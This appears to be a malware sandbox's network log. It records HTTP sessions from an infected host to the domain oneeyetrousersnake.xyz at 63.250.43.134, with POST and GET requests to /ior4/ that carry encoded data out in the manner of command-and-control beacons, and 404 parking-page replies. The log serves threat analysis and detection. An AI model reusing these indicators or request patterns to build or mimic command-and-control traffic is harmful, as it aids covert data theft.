Jan 10, 2025 23:24:43.104131937 CET	1289	IN	Data Raw: 30 6f 32 59 4d 62 5a 67 71 54 59 6e 54 71 43 65 63 6b 6c 71 32 48 75 58 39 6c 4c 72 6e 4e 59 65 62 34 56 66 41 50 71 74 6f 44 42 32 48 71 31 32 62 4b 2f 4c 74 65 61 55 57 6a 55 7a 6b 72 79 72 74 61 38 56 2f 39 53 47 45 6e 59 76 38 4f 50 51 55 42 Data Ascii: 0o2YMbZgqTYnTqCecklq2HuX9lLrnNYeb4VfAPqtoDB2Hq12bK/LteaUWjUzkryrta8V/9SGEnYv8OPQUB6IGiHhefKm+7C7JxMYYI5blOUj66IuwFSC///2vrPv3p3SaF0hJMJFSiTc+ZO31pz0oRZVumx9iEJiLHFYlG1OdCGrRBmEUcD//99reva596W8Tz9IwRAHqHaKDWhpQBVplg/BCAyB7cDGsOuVp0Wa2K4C9uDfdiD
Jan 10, 2025 23:24:43.104237080 CET	1289	IN	Data Raw: 6e 38 67 46 71 72 32 74 77 72 44 5a 6f 72 4f 72 6d 6b 48 73 59 4b 42 51 47 46 77 52 4b 48 68 57 4e 49 53 30 6f 6f 31 47 37 62 73 6c 44 31 4b 35 56 56 38 30 6f 31 4b 78 57 6b 34 6a 2b 5a 59 5a 4c 4e 61 47 57 30 6c 68 56 57 58 53 71 4d 7a 6d 43 77 Data Ascii: n8gFqr2twrDZorOrmkHsYKBQGFwRKHhWNIS0oo1G7bslD1K5VV80o1KxWk4j+ZYZLNaGW0lhVWXSqMzmCw2h8sTCEViycf6d5C9WFNYBZIBioEf/Wtsj3lxi8LzExRVRa3UR+KpvpsUAfUYmCa4PnaArJmDqIbiFI5IJ0+XdJdeDJfgU/pwD0fC/usmPrdHvBMSkZKRU9RBz9KLGBiZmFlYk43HzsHJNfyii/WjFFjwKLzw8QuY
Jan 10, 2025 23:24:43.222374916 CET	1289	IN	Data Raw: 64 64 31 32 67 65 4e 34 6f 59 49 51 6c 53 4d 6e 4b 4b 44 67 53 45 49 4b 73 6b 43 6f 39 68 56 4e 70 57 56 53 4f 4c 79 51 49 32 69 4a 4f 67 31 44 41 44 78 5a 52 69 57 57 71 37 38 30 36 6d 43 6d 6f 4f 34 6a 69 4f 34 30 73 4f 56 42 64 35 4c 49 55 56 Data Ascii: dd12geN4oYIQlSMnKKDgSEIKskCo9hVNpWVSOLyQI2iJOg1DADxZRiWWq7806mCmoO4jiO40sOVBd5LIUVwf5hiyg0xtcT/JiGMI+6iCP5SkeN9As5QUsBkHyu3p0U+rSKbEhTm1zUWogNOE2DhxB5SGTkqFMMUcloQe/1OahOui50n9zDd6dFWzEPHFWn4yU+wdRtQ5UG08lNJDGPhJSMnKKAqPFV/3ud7XH1PatQiZqGli7pU

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.11.20	49800	63.250.43.134	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:24:43.667946100 CET	2578	OUT	POST /ior4/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.oneeyetrousersnake.xyz Origin: http://www.oneeyetrousersnake.xyz Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 7373 Cache-Control: max-age=0 Referer: http://www.oneeyetrousersnake.xyz/ior4/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 6e 50 66 55 6d 73 43 76 46 56 5a 72 2b 43 77 48 42 51 48 36 67 6b 58 55 31 70 72 35 6e 7a 49 41 4c 74 57 77 2f 42 43 52 52 6f 62 63 55 4f 69 4a 7a 53 6a 72 43 75 61 5a 2f 4a 6b 4a 52 78 68 71 66 32 57 62 76 30 49 43 79 49 4e 53 4b 6c 6f 56 6a 2b 51 50 50 47 47 6b 68 6a 6c 62 34 70 73 48 7a 4e 78 79 6b 41 6f 66 79 73 57 46 4f 69 59 61 68 2b 6b 30 70 76 62 58 4d 51 50 51 74 76 68 6a 2f 45 53 55 44 33 6b 50 64 4d 46 49 4e 32 2f 2b 65 46 66 46 6a 68 7a 64 6a 55 74 6d 48 33 39 5a 36 6a 58 36 66 31 41 53 38 2b 44 6e 45 6a 47 76 79 6b 72 44 49 78 4e 4b 4c 34 66 66 56 65 48 49 38 4a 4a 4e 4e 36 33 2b 62 2f 33 4a 6f 62 6d 52 44 4f 65 36 6c 53 6d 79 32 48 4a 55 45 36 41 6e 43 6c 71 73 4a 52 70 57 54 30 61 41 74 6a 63 6a 65 42 49 48 56 42 4d 65 4f 52 30 52 59 4b 73 71 6b 4c 70 67 56 62 78 43 67 4d 46 77 6f 53 63 6d 75 45 57 32 33 73 62 35 6c 35 56 4d 6d 66 5a 71 4b 37 38 78 61 2b 78 55 6e 6d 50 6f 62 39 59 67 58 35 64 54 32 37 49 4d 42 30 51 54 75 52 50 41 48 4c 30 5a 6d 55 67 65 47 [TRUNCATED] Data Ascii: kR8XbB2P=nPfUmsCvFVZr+CwHBQH6gkXU1pr5nzIALtWw/BCRRobcUOiJzSjrCuaZ/JkJRxhqf2Wbv0ICyINSKloVj+QPPGGkhjlb4psHzNxykAofysWFOiYah+k0pvbXMQPQtvhj/ESUD3kPdMFIN2/+eFfFjhzdjUtmH39Z6jX6f1AS8+DnEjGvykrDIxNKL4ffVeHI8JJNN63+b/3JobmRDOe6lSmy2HJUE6AnClqsJRpWT0aAtjcjeBIHVBMeOR0RYKsqkLpgVbxCgMFwoScmuEW23sb5l5VMmfZqK78xa+xUnmPob9YgX5dT27IMB0QTuRPAHL0ZmUgeGfhrdjyDgGwZly90cmzTyjxz+GPCvdFd6iC9pJZc5deRIKsjo6OQ59VTWzaQxHUivT9dROdrY6tg19Je5j2VRscoiQMv2ZQdLIF0/l7FfhskBPg75o3NRlPsYFHJ/owI6HrfguG2WMcc/zpnzg6kH9glPkqqjVWZ+dqfGAaBTpH5k0sZLQ2v+MSCTyEVHQFDztag7mE9wqNCQfHWq3Z86kk45errKY6Q+qvBjJEQnn1XHn8k4rklQttU/CHVyTKDTcP5RR9M9urdj+CsvTmBRc8RzW/nM4kZFSwRIoUxOiBCO4lU0NnEsyEOj3ylX9Lh7G83CNe5K4SBkuiL5UfDtD/buMx2RRqELzVRX4b//vII9iqIm+LIaAJgHS1R5fnNtW//2bsH3xN/9BcwXsfOR7kog995WNj0ftgU8K78mnkoQEPSuA8fnykhblOCGY9OFGT8zxBxOLJ/+YGdlGCew8CVJXNQrz9rTwX4wjZQzTKTPzSlat/K1BvwIM9zAg6yzjpVDwxMSFIYRaYNHU8GJwVcCZhA6+Y7LOxlMV+uFFcndey6HJjpxt5+c2ULfjDGeaDiRGWj26/J5RVpf/ypEtdNq3QBlztyGsji84ZmBGcLWrX8z7WDcjUxSzNyxig0gV/qayLiVWng2wZ45pG7RKmHsx7H6kVbCGo [TRUNCATED]
Jan 10, 2025 23:24:43.668011904 CET	5431	OUT	Data Raw: 6c 72 71 4f 55 6c 4a 70 4d 68 47 2b 61 4e 4e 48 76 39 34 62 39 6b 42 55 71 6a 59 55 37 44 30 4e 65 39 36 78 35 42 65 77 56 54 61 68 35 6b 4f 55 6c 32 35 45 35 35 53 46 72 49 57 34 6e 67 52 6a 44 43 4d 41 79 63 4d 78 30 4d 65 77 67 7a 64 59 4d 2f Data Ascii: lrqOUlJpMhG+aNNHv94b9kBUqjYU7D0Ne96x5BewVTah5kOUl25E55SFrIW4ngRjDCMAycMx0MewgzdYM/bZB3j4jhNNqLq5rxgg2Iyn8gKJgTeBRkuWPmW3dVFp+2E1Vo1KoFXsZjdNvjQUD0LvuiT6+7fdGdQkwuK15he3G6sd4iHhIgRDbIwyldNJ/zWzxZJUElvPaQhZ9LpHZl65+12NNQowmFjtFSwKt/av4qma2qN/Ele
Jan 10, 2025 23:24:43.842711926 CET	1289	IN	HTTP/1.1 404 Not Found content-type: text/html date: Fri, 10 Jan 2025 22:24:43 GMT transfer-encoding: chunked connection: close Data Raw: 32 30 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 57 65 62 73 69 74 65 20 6e 6f 74 20 66 6f 75 6e 64 e2 80 a6 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 [TRUNCATED] Data Ascii: 200<!doctype html><html class="no-js" lang=""><head> <meta charset="utf-8"> <meta http-equiv="x-ua-compatible" content="ie=edge"> <title>Website not found</title> <meta name="description" content=""> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAAAXNSR0IArs4c6QAACHhJREFUeAHdW2lsHEUWrqqZsT3j2FmbHBxBXsyGsAsCCRIRgjicA2JHRAtEQtHCj2i1ihA5A2SgnCEOFnEj9jhNAgpIC7xA6RoEYeIiB0WEgdLiYSSrATi2JBsIBAMPmIndjzjeDxV+73xtNUz7unpqukZj+gfrup6r973va+rq2q625wV+Ljw0KuRod5Ti5RSSxRnixRjczhjNYCtUUxRyTjjgygGYRuErZcrdpBzfqB6znkHuxeuj5JPoQ7g+X9ce+jV0H/7BtZIJe9nTF3HFAsaoXA2Dnm+EFxsv3x27XuHF66PG8Vx6eSrAH/sfKuiL9r9EK7k/bi6F7ngapswSn4B2e0X8Kq2Y00PnNMOkKWDbwJUdTy9ICHj/0LyV2fB8qUZhL8MiNDdw40bj/gRUPgRpLJ929/G1fjhQidPXAmDsAjTD+55j4BIR+tqJeWHIOOLmBpJSS7EHdHG5p0afaa45iVAZUfLVVKp/bgsM6ZELkYDZ2cF5zeMNG7+yhTO+KrNO9AWllLtnLbkKWMITxyIS9EFOHU6uh6gdabAPvarS3E [TRUNCATED]
Jan 10, 2025 23:24:43.842881918 CET	1289	IN	Data Raw: 57 37 55 51 69 69 69 73 77 6b 33 62 51 47 51 54 30 6e 4d 2f 46 6c 30 31 65 61 6d 4c 59 42 53 38 72 77 73 34 4e 50 65 62 4d 4a 4e 57 77 43 73 75 62 4f 6d 50 64 4d 73 42 45 79 34 61 51 73 41 37 4a 49 64 41 53 62 63 54 41 52 49 5a 4c 6b 41 70 64 43 Data Ascii: W7UQiiiswk3bQGQT0nM/Fl01eamLYBS8rws4NPebMJNWwCsubOmPdMsBEy4aQsA7JIdASbcTARIZLkApdCszU1fAMV6SyFTRw4G3PQFYKzPEbw0GrW5aQuAHZc2SLG0MeGmLQAeQJTsLWDCTVsAxaQvDyMLMSpMuGkLUB4KduFZvfZsW4iE02PyxAS39NZcZ9oCDK54/Azn7D+5AhfbTpyImy6utgAEgMlmry5Qof1NORkJIJgo
Jan 10, 2025 23:24:43.842947006 CET	1289	IN	Data Raw: 44 6a 37 78 78 5a 76 72 6e 48 6a 55 64 4f 41 64 77 36 32 32 30 7a 50 39 74 57 50 33 59 75 63 52 52 74 61 62 65 56 33 53 65 74 7a 74 6d 2b 57 4e 4f 57 42 6d 6f 4c 74 32 2f 74 42 4f 6c 62 30 75 7a 5a 54 32 52 5a 65 57 44 2b 6d 65 57 62 61 50 4f 57 Data Ascii: Dj7xxZvrnHjUdOAdw6220zP9tWP3YucRRtabeV3Setztm+WNOWBmoLt2/tBOlb0uzZT2RZeWD+meWbaPOW9+GNrAeY+JjcDDfP8fAYe5cVFu/02q26h1KksDy45nbxTNgtVHK+YGydm0+mjYcCkwLwYFDr2SJuwXWEmRnT5DxvAZJfasvE694mpUmKXdZGhFpS9a5Ja64K/XADZj5fiVsQeQnwpFLi1GD0TVwRrX0D5+IFi4BVO
Jan 10, 2025 23:24:43.843215942 CET	1289	IN	Data Raw: 75 45 72 5a 63 72 64 70 42 7a 66 71 42 36 7a 6e 6b 48 75 78 65 75 6a 35 4a 50 6f 51 37 67 2b 58 39 63 65 2b 6a 56 30 48 2f 37 42 74 5a 49 4a 65 39 6e 54 46 33 48 46 41 73 61 6f 58 41 32 44 6e 6d 2b 45 46 78 73 76 33 78 32 37 58 75 48 46 36 36 50 Data Ascii: uErZcrdpBzfqB6znkHuxeuj5JPoQ7g+X9ce+jV0H/7BtZIJe9nTF3HFAsaoXA2Dnm+EFxsv3x27XuHF66PG8Vx6eSrAH/sfKuiL9r9EK7k/bi6F7ngapswSn4B2e0X8Kq2Y00PnNMOkKWDbwJUdTy9ICHj/0LyV2fB8qUZhL8MiNDdw40bj/gRUPgRpLJ929/G1fjhQidPXAmDsAjTD+55j4BIR+tqJeWHIOOLmBpJSS7EHdHG5
Jan 10, 2025 23:24:43.843290091 CET	1289	IN	Data Raw: 2f 36 44 43 75 47 4a 2b 48 63 75 46 30 4a 5a 37 47 44 53 63 6b 42 48 34 4e 48 75 4a 4d 6e 55 51 5a 42 4e 64 4c 77 66 56 4b 70 36 74 75 36 2f 73 44 6c 74 44 36 69 51 38 59 4f 58 73 66 7a 6f 2f 59 6a 4f 6c 56 75 69 57 59 57 6f 7a 47 78 51 44 41 67 Data Ascii: /6DCuGJ+HcuF0JZ7GDSckBH4NHuJMnUQZBNdLwfVKp6tu6/sDltD6iQ8YOXsfzo/YjOlVuiWYWozGxQDAgbNkWRp/UhdimcXJGzv+HrFPrgIBJt4qjX19sQTliUBZEDmnBMB6+i2UmPZtbbHSp1zPrtj43aQAVJkRLPsn7qWDxSIxXTiUI+Vq4ScnQeuE1sXxRHQv7qWCfu5q4RW7RLJfBgORpUMrNwxY2BM7wdQZGWprItdzwb
Jan 10, 2025 23:24:43.843333006 CET	1289	IN	Data Raw: 2b 41 48 38 4d 75 76 48 72 38 45 6a 54 4b 67 39 77 55 44 5a 70 30 4f 33 50 75 62 58 4a 47 62 42 4a 30 74 36 72 7a 65 65 47 46 76 42 4a 46 38 47 7a 41 58 41 6e 49 55 39 49 5a 5a 69 64 51 35 63 2b 76 46 55 2b 47 76 46 2b 56 35 52 45 64 6f 78 30 76 Data Ascii: +AH8MuvHr8EjTKg9wUDZp0O3PubXJGbBJ0t6rzeeGFvBJF8GzAXAnIU9IZZidQ5c+vFU+GvF+V5REdox0vDYb2mds5z8H75k4O/8/I4PAAAAAElFTkSuQmCC"> <link rel="icon" type="image/x-icon" href="data:image/x-icon;base64,AAABAAEAEBAAAAEAIABoBAAAFgAAACgAAAAQAAAAIAAAAAE
Jan 10, 2025 23:24:43.843468904 CET	1289	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 69 6a 77 78 33 61 4a 55 51 2f 32 53 50 45 50 39 6b 6a 78 44 2f 5a 49 38 51 2f 32 53 50 45 50 39 6b 6a 78 44 2f 5a 49 38 51 2f 32 69 56 45 50 39 6c 6a 51 35 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAABijwx3aJUQ/2SPEP9kjxD/ZI8Q/2SPEP9kjxD/ZI8Q/2iVEP9ljQ5+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAY4gAKWWRDe1mkxH/ZI8Q/2SPEP9kjxD/ZI8Q/2aTEf9mkg7wYIgLLQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABmkwxVZZAO42eTEf9mkg//ZpEP/2eUEf9mkhDk
Jan 10, 2025 23:24:43.843586922 CET	1289	IN	Data Raw: 75 77 72 47 77 43 33 46 57 71 52 6d 69 4e 51 56 42 77 34 51 45 56 42 52 45 42 6b 4b 31 4e 41 78 70 53 70 34 69 59 6e 4f 58 61 75 58 57 72 61 30 75 6f 36 47 2f 4f 73 62 46 79 70 62 66 73 2f 79 61 35 72 7a 48 48 6c 32 54 53 6e 30 75 58 33 74 30 33 Data Ascii: uwrGwC3FWqRmiNQVBw4QEVBREBkK1NAxpSp4iYnOXauXWra0uo6G/OsbFypbfs/ya5rzHHl2TSn0uX3t03puNetve3hGHLdU8727v8v5rGxeXbhgMOMbSYwgQkwIGAQ0AQpt0Sru9VqhRaSHIjX37D3WvghhADC+Akz66b2f+/U/o7tLMy1No8LyAE8KVFmNLJlR3WdjdqqZZ/j7vqB3P5J2z+mYIE2dpLyUgAFD4A+31NpuR/t
Jan 10, 2025 23:24:43.843686104 CET	1289	IN	Data Raw: 2b 75 36 41 64 4c 30 6f 32 59 4d 62 5a 67 71 54 59 6e 54 71 43 65 63 6b 6c 71 32 48 75 58 39 6c 4c 72 6e 4e 59 65 62 34 56 66 41 50 71 74 6f 44 42 32 48 71 31 32 62 4b 2f 4c 74 65 61 55 57 6a 55 7a 6b 72 79 72 74 61 38 56 2f 39 53 47 45 6e 59 76 Data Ascii: +u6AdL0o2YMbZgqTYnTqCecklq2HuX9lLrnNYeb4VfAPqtoDB2Hq12bK/LteaUWjUzkryrta8V/9SGEnYv8OPQUB6IGiHhefKm+7C7JxMYYI5blOUj66IuwFSC///2vrPv3p3SaF0hJMJFSiTc+ZO31pz0oRZVumx9iEJiLHFYlG1OdCGrRBmEUcD//99reva596W8Tz9IwRAHqHaKDWhpQBVplg/BCAyB7cDGsOuVp0Wa2K4C9
Jan 10, 2025 23:24:43.843745947 CET	1289	IN	Data Raw: 76 55 58 76 6a 5a 6e 38 67 46 71 72 32 74 77 72 44 5a 6f 72 4f 72 6d 6b 48 73 59 4b 42 51 47 46 77 52 4b 48 68 57 4e 49 53 30 6f 6f 31 47 37 62 73 6c 44 31 4b 35 56 56 38 30 6f 31 4b 78 57 6b 34 6a 2b 5a 59 5a 4c 4e 61 47 57 30 6c 68 56 57 58 53 Data Ascii: vUXvjZn8gFqr2twrDZorOrmkHsYKBQGFwRKHhWNIS0oo1G7bslD1K5VV80o1KxWk4j+ZYZLNaGW0lhVWXSqMzmCw2h8sTCEViycf6d5C9WFNYBZIBioEf/Wtsj3lxi8LzExRVRa3UR+KpvpsUAfUYmCa4PnaArJmDqIbiFI5IJ0+XdJdeDJfgU/pwD0fC/usmPrdHvBMSkZKRU9RBz9KLGBiZmFlYk43HzsHJNfyii/WjFFjwKL

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.11.20	49801	63.250.43.134	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:24:46.366338015 CET	551	OUT	GET /ior4/?kR8XbB2P=qN30lcONX0xcpHUAAhvyj1Pv1cDbnDATbaHk9wrQRLO/f97LhCWTCN+B+7oddRZtH3jrumds1aNZL30micA1Qm7DijxG6YFVsewlnHAo5bGZBCo69txMx8s=&oRQ0=OV24X0 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.oneeyetrousersnake.xyz Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Jan 10, 2025 23:24:46.541124105 CET	1289	IN	HTTP/1.1 404 Not Found content-type: text/html date: Fri, 10 Jan 2025 22:24:46 GMT transfer-encoding: chunked connection: close Data Raw: 33 33 45 41 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 57 65 62 73 69 74 65 20 6e 6f 74 20 66 6f 75 6e 64 e2 80 a6 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 [TRUNCATED] Data Ascii: 33EA<!doctype html><html class="no-js" lang=""><head> <meta charset="utf-8"> <meta http-equiv="x-ua-compatible" content="ie=edge"> <title>Website not found</title> <meta name="description" content=""> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAAAXNSR0IArs4c6QAACHhJREFUeAHdW2lsHEUWrqqZsT3j2FmbHBxBXsyGsAsCCRIRgjicA2JHRAtEQtHCj2i1ihASgnCEOFnEj9jhNAgpIC7xA6RoEYeIiB0WEgdLiYSSrATi2JBsIBAMPmIndjzjeDxV+73xtNUz7unpqukZj+gfrup6r973va+rq2q625wV+Ljw0KuRod5Ti5RSSxRnixRjczhjNYCtUUxRyTjjgygGYRuErZcrdpBzfqB6znkHuxeuj5JPoQ7g+X9ce+jV0H/7BtZIJe9nTF3HFAsaoXA2Dnm+EFxsv3x27XuHF66PG8Vx6eSrAH/sfKuiL9r9EK7k/bi6F7ngapswSn4B2e0X8Kq2Y00PnNMOkKWDbwJUdTy9ICHj/0LyV2fB8qUZhL8MiNDdw40bj/gRUPgRpLJ929/G1fjhQidPXAmDsAjTD+55j4BIR+tqJeWHIOOLmBpJSS7EHdHG5p0afaa45iVAZUfLVVKp/bgsM6ZELkYDZ2cF5zeMNG7+yhTO+KrNO9AWllLtnLbkKWMITxyIS9EFOHU6uh6gdabAPvarS3ExCml0C [TRUNCATED]
Jan 10, 2025 23:24:46.541222095 CET	1289	IN	Data Raw: 69 73 77 6b 33 62 51 47 51 54 30 6e 4d 2f 46 6c 30 31 65 61 6d 4c 59 42 53 38 72 77 73 34 4e 50 65 62 4d 4a 4e 57 77 43 73 75 62 4f 6d 50 64 4d 73 42 45 79 34 61 51 73 41 37 4a 49 64 41 53 62 63 54 41 52 49 5a 4c 6b 41 70 64 43 73 7a 55 31 66 41 Data Ascii: iswk3bQGQT0nM/Fl01eamLYBS8rws4NPebMJNWwCsubOmPdMsBEy4aQsA7JIdASbcTARIZLkApdCszU1fAMV6SyFTRw4G3PQFYKzPEbw0GrW5aQuAHZc2SLG0MeGmLQAeQJTsLWDCTVsAxaQvDyMLMSpMuGkLUB4KduFZvfZsW4iE02PyxAS39NZcZ9oCDK54/Azn7D+5AhfbTpyImy6utgAEgMlmry5Qof1NORkJIJgoOQFMOR
Jan 10, 2025 23:24:46.541342020 CET	1289	IN	Data Raw: 41 64 77 36 32 32 30 7a 50 39 74 57 50 33 59 75 63 52 52 74 61 62 65 56 33 53 65 74 7a 74 6d 2b 57 4e 4f 57 42 6d 6f 4c 74 32 2f 74 42 4f 6c 62 30 75 7a 5a 54 32 52 5a 65 57 44 2b 6d 65 57 62 61 50 4f 57 39 2b 47 4e 72 41 65 59 2b 4a 6a 63 44 44 Data Ascii: Adw6220zP9tWP3YucRRtabeV3Setztm+WNOWBmoLt2/tBOlb0uzZT2RZeWD+meWbaPOW9+GNrAeY+JjcDDfP8fAYe5cVFu/02q26h1KksDy45nbxTNgtVHK+YGydm0+mjYcCkwLwYFDr2SJuwXWEmRnT5DxvAZJfasvE694mpUmKXdZGhFpS9a5Ja64K/XADZj5fiVsQeQnwpFLi1GD0TVwRrX0D5+IFi4BVOrVZNqeSMAmbODj
Jan 10, 2025 23:24:46.541457891 CET	1289	IN	Data Raw: 7a 6e 6b 48 75 78 65 75 6a 35 4a 50 6f 51 37 67 2b 58 39 63 65 2b 6a 56 30 48 2f 37 42 74 5a 49 4a 65 39 6e 54 46 33 48 46 41 73 61 6f 58 41 32 44 6e 6d 2b 45 46 78 73 76 33 78 32 37 58 75 48 46 36 36 50 47 38 56 78 36 65 53 72 41 48 2f 73 66 4b Data Ascii: znkHuxeuj5JPoQ7g+X9ce+jV0H/7BtZIJe9nTF3HFAsaoXA2Dnm+EFxsv3x27XuHF66PG8Vx6eSrAH/sfKuiL9r9EK7k/bi6F7ngapswSn4B2e0X8Kq2Y00PnNMOkKWDbwJUdTy9ICHj/0LyV2fB8qUZhL8MiNDdw40bj/gRUPgRpLJ929/G1fjhQidPXAmDsAjTD+55j4BIR+tqJeWHIOOLmBpJSS7EHdHG5p0afaa45iVAZUf
Jan 10, 2025 23:24:46.541558027 CET	1289	IN	Data Raw: 5a 37 47 44 53 63 6b 42 48 34 4e 48 75 4a 4d 6e 55 51 5a 42 4e 64 4c 77 66 56 4b 70 36 74 75 36 2f 73 44 6c 74 44 36 69 51 38 59 4f 58 73 66 7a 6f 2f 59 6a 4f 6c 56 75 69 57 59 57 6f 7a 47 78 51 44 41 67 62 4e 6b 57 52 70 2f 55 68 64 69 6d 63 58 Data Ascii: Z7GDSckBH4NHuJMnUQZBNdLwfVKp6tu6/sDltD6iQ8YOXsfzo/YjOlVuiWYWozGxQDAgbNkWRp/UhdimcXJGzv+HrFPrgIBJt4qjX19sQTliUBZEDmnBMB6+i2UmPZtbbHSp1zPrtj43aQAVJkRLPsn7qWDxSIxXTiUI+Vq4ScnQeuE1sXxRHQv7qWCfu5q4RW7RLJfBgORpUMrNwxY2BM7wdQZGWprItdzwbdbDr+XknKi3OzJ
Jan 10, 2025 23:24:46.541691065 CET	1289	IN	Data Raw: 67 39 77 55 44 5a 70 30 4f 33 50 75 62 58 4a 47 62 42 4a 30 74 36 72 7a 65 65 47 46 76 42 4a 46 38 47 7a 41 58 41 6e 49 55 39 49 5a 5a 69 64 51 35 63 2b 76 46 55 2b 47 76 46 2b 56 35 52 45 64 6f 78 30 76 44 59 62 32 6d 64 73 35 7a 38 48 37 35 6b Data Ascii: g9wUDZp0O3PubXJGbBJ0t6rzeeGFvBJF8GzAXAnIU9IZZidQ5c+vFU+GvF+V5REdox0vDYb2mds5z8H75k4O/8/I4PAAAAAElFTkSuQmCC"> <link rel="icon" type="image/x-icon" href="data:image/x-icon;base64,AAABAAEAEBAAAAEAIABoBAAAFgAAACgAAAAQAAAAIAAAAAEAIAAAAAAAAAQAA
Jan 10, 2025 23:24:46.541785955 CET	1289	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 69 6a 77 78 33 61 4a 55 51 2f 32 53 50 45 50 39 6b 6a 78 44 2f 5a 49 38 51 2f 32 53 50 45 50 39 6b 6a 78 44 2f 5a 49 38 51 2f 32 69 56 45 50 39 6c 6a 51 35 2b 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAABijwx3aJUQ/2SPEP9kjxD/ZI8Q/2SPEP9kjxD/ZI8Q/2iVEP9ljQ5+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAY4gAKWWRDe1mkxH/ZI8Q/2SPEP9kjxD/ZI8Q/2aTEf9mkg7wYIgLLQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABmkwxVZZAO42eTEf9mkg//ZpEP/2eUEf9mkhDkY40FWgAAAAAAAA
